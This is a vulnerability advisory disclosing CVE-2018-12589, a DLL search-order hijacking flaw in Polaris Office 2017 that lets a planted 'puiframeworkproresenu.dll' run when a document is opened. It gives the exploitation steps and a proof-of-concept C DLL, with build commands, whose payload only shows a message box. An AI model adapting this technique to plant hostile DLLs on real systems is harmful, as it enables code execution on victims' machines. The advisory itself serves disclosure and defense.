[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/POLARISOFFICE-2017-v8-REMOTE-CODE-EXECUTION.txt [+] ISR: Apparition Security Vendor: ============= www.polarisoffice.com Product: =========== PolarisOffice 2017 v8 Polaris Document Solution is an integrated solution for corporate document life cycle from document creation, use, management, security, and collaboration. Used by more than 70 million subscribers in 240 countries. Vulnerability Type: =================== Remote Code Execution CVE Reference: ============== CVE-2018-12589 Security Issue: ================ Polaris Office 2017 8.1 allows attackers to execute arbitrary code via a Trojan horse "puiframeworkproresenu.dll" file in the current working directory, due to a search order flaw vulnerability. 1) create a 32bit DLL named "puiframeworkproresenu.dll" 2) put any .PDF or .PPTX file or whatever that is configured to open in Polaris Office in same directory as the above DLL 3) open the document (PDF etc) then BOOM our arbitrary DLL will execute on victims system. This can be observed as well with both the DLL and a document opened from a remote share. Exploit/POC: ============= #include <windows.h> /* hyp3rlinx */ /* gcc -c -m32 puiframeworkproresenu.c gcc -shared -m32 -o puiframeworkproresenu.dll puiframeworkproresenu.o */ void trojanizer(){ MessageBox( 0, "Continue with PWNAGE?" , "philbin :)" , MB_YESNO + MB_ICONQUESTION ); } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){ switch(fdwReason){ case DLL_PROCESS_ATTACH:{ trojanizer(); break; } case DLL_PROCESS_DETACH:{ trojanizer(); break; } case DLL_THREAD_ATTACH:{ trojanizer(); break; } case DLL_THREAD_DETACH:{ trojanizer(); break; } } return TRUE; } Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: June 14, 2018 Vendor confirms vulnerability : June 19, 2018 Mitre assigned CVE : June 20, 2018 Vendor replied fix will be in July however, update was released : June 23, 2018 Notified vendor of impending advisory : June 23, 2018 Vendor : "glad to hear that your problem has been solved" June 26, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx